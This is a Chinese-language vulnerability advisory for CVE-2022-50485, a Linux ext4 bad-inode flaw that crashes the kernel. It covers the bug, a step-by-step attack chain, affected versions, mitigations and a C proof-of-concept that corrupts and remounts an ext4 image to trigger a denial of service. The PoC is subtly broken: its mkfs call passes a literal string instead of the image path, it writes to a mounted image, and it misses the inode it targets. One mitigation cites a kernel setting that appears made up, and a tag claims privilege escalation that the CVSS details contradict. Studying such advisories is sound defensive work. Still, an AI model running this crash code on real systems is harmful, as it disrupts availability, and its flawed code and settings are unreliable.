IPBUF安全漏洞报告
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CVE-2022-50485 CVSS 5.5 中危

Linux内核ext4文件系统坏inode绕过检查导致内核崩溃漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50485
漏洞类型
权限检查绕过/拒绝服务(内核崩溃)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel ext4文件系统

相关标签

Linux Kernelext4文件系统本地权限提升拒绝服务内核崩溃坏inode文件系统安全CWE-754权限检查绕过DoS

漏洞概述

CVE-2022-50485是Linux内核ext4文件系统中存在的一个安全漏洞。该漏洞源于ext4_iget()函数在获取引导加载程序inode时,允许返回一个未初始化的坏inode(bad inode)。在ext4文件系统的正常操作中,许多代码路径在遇到坏inode时会出现异常并导致内核崩溃(kernel panic)。然而,当获取引导加载程序inode时,ext4_iget()函数允许返回坏inode,因为该inode可能尚未初始化完成。攻击者可以利用这一机制绕过某些安全检查,触发内核中的未定义行为,最终导致系统拒绝服务。

该漏洞的CVSS 3.1评分为5.5分,属于中危级别。攻击向量为本地攻击(AV:L),攻击复杂度低(AC:L),需要低权限(PR:L),无需用户交互(UI:N)。其影响主要体现在可用性方面(A:H),因为漏洞利用会导致内核崩溃,造成系统完全不可用。机密性影响为无(C:N),完整性影响为无(I:N),说明该漏洞不会直接导致数据泄露或数据篡改,但其造成的内核崩溃可能间接影响系统完整性。

该漏洞由Linux内核ext4子系统的维护者发现并修复。修复方案是引入EXT4_IGET_BAD标志位,只有在明确设置该标志时,ext4_iget()函数才会返回坏inode;在其他情况下,如果inode是坏inode,函数将返回错误码。这一修复由Jan Kara建议,确保了坏inode处理的一致性和安全性。

技术细节

在Linux内核的ext4文件系统中,ext4_iget()函数负责通过inode号获取对应的inode结构体。正常情况下,如果inode已损坏(标记为bad inode),ext4_iget()应当返回错误码以通知调用者处理异常。但在引导加载程序inode的获取路径中,由于该inode可能尚未完全初始化,系统允许返回坏inode。

这一设计缺陷带来安全隐患:ext4文件系统中存在大量代码路径会在遇到坏inode时执行不安全的操作或直接崩溃。攻击者可以通过精心构造的ext4文件系统映像或利用文件系统操作,使得引导加载程序inode处于坏inode状态,从而触发这些不安全路径。具体利用方式包括:
1. 创建或修改ext4文件系统映像,使特定inode(特别是引导加载程序相关inode)处于损坏状态;
2. 触发系统读取该损坏的inode,调用ext4_iget()获取该inode;
3. ext4_iget()返回坏inode而非错误码,绕过预期的安全检查;
4. 后续代码路径在处理坏inode时执行未定义操作,最终导致内核panic。

修复方案通过引入EXT4_IGET_BAD标志位来实现精确控制:只有显式设置该标志的调用路径才会接收坏inode,其他所有调用路径在遇到坏inode时将收到错误码(通常是-ESTALE或-EIO),从而避免了不安全的坏inode传播。

攻击链分析

STEP 1
步骤1:准备攻击环境
攻击者需要拥有目标系统的本地低权限访问权限,能够创建和挂载ext4文件系统映像,或对现有ext4文件系统进行底层磁盘操作。
STEP 2
步骤2:构造损坏的文件系统
攻击者创建一个ext4文件系统映像,并通过直接修改磁盘上的inode表数据,将引导加载程序相关的inode(boot loader inode)标记为坏inode状态,使其处于未初始化或损坏状态。
STEP 3
步骤3:触发ext4_iget()调用
攻击者通过挂载损坏的文件系统或触发文件系统操作(如ls、stat等),使内核调用ext4_iget()函数尝试获取损坏的引导加载程序inode。
STEP 4
步骤4:绕过安全检查
由于漏洞存在,ext4_iget()在获取引导加载程序inode时返回坏inode而非错误码,成功绕过了内核中针对坏inode的安全检查机制。
STEP 5
步骤5:触发内核崩溃
返回的坏inode被传递到后续处理代码路径中,这些路径在遇到坏inode时执行未定义操作,最终触发内核panic(kernel panic),导致系统完全不可用,造成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50485 PoC - Trigger kernel panic via bad inode in ext4 // This PoC demonstrates how to trigger the vulnerability by creating // a crafted ext4 filesystem with a corrupted boot loader inode. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #define IMG_SIZE (64 * 1024 * 1024) // 64MB image #define BLOCK_SIZE 4096 int main(int argc, char *argv[]) { const char *img_path = "/tmp/cve_2022_50485.img"; const char *mount_point = "/tmp/cve_2022_50485_mnt"; int fd; // Step 1: Create a sparse file for the ext4 filesystem fd = open(img_path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, IMG_SIZE) < 0) { perror("ftruncate"); return 1; } close(fd); // Step 2: Create an ext4 filesystem on the image if (system("mkfs.ext4 -b 4096 -O ^metadata_csum,^64bit img_path") != 0) { fprintf(stderr, "mkfs.ext4 failed\n"); return 1; } // Step 3: Mount the filesystem mkdir(mount_point, 0755); if (mount(img_path, mount_point, "ext4", 0, "") < 0) { perror("mount"); return 1; } // Step 4: Corrupt the boot loader inode area // This simulates a bad inode condition for the boot loader inode // by directly modifying the inode table on disk fd = open(img_path, O_RDWR); if (fd < 0) { perror("open img"); return 1; } // Locate and corrupt inode table - inode #2 typically holds // the root directory, but we target the boot loader related inodes // by writing garbage to the inode table area off_t inode_table_offset = BLOCK_SIZE * 2; // Approximate offset char garbage[BLOCK_SIZE]; memset(garbage, 0xFF, sizeof(garbage)); lseek(fd, inode_table_offset, SEEK_SET); write(fd, garbage, sizeof(garbage)); close(fd); // Step 5: Remount to trigger ext4_iget() on the corrupted inode umount(mount_point); if (mount(img_path, mount_point, "ext4", 0, "errors=continue") < 0) { perror("remount"); // If mount fails, the corruption may have triggered the vulnerability printf("Mount failed - potential kernel panic triggered\n"); } // Cleanup umount(mount_point); rmdir(mount_point); unlink(img_path); return 0; }

影响范围

Linux Kernel < 5.10.150(5.10稳定分支)
Linux Kernel < 5.15.75(5.15稳定分支)
Linux Kernel < 5.19.17(5.19稳定分支)
Linux Kernel < 6.0.3(6.0稳定分支)
Linux Kernel < 6.1(6.1稳定分支早期版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户使用mount命令挂载文件系统的权限(通过移除suid位或使用sudo限制);2)使用文件系统完整性检查工具(如e2fsck)在挂载前验证文件系统映像的完整性;3)通过内核参数设置如`fs.ext4.error_behavior=panic`或`fs.ext4.error_behavior=remount-ro`来控制错误处理行为;4)利用Linux安全模块(如SELinux、AppArmor)限制进程对块设备的直接访问权限;5)监控系统日志,关注ext4相关的错误信息和内核oops/panic记录,及时发现异常活动。

参考链接

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